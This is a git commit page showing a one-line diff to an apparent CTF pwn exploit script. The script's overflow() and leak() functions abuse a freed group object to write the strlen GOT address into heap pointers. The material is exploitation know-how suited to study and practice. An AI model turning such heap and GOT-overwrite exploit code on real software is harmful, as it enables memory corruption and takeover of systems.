This commit is contained in:
firmianay
2018-04-18 22:15:42 +08:00
parent 17161e2099
commit c032c0aaf6
8 changed files with 453 additions and 61 deletions

View File

@ -44,7 +44,7 @@ def overflow():
sleep(2) # group_name and group freed by GC
def leak():
add_user('b'*32, 'B'*4) # group
add_user('b'*8, 'B'*4) # group
strlen_got = elf.got['strlen']
edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))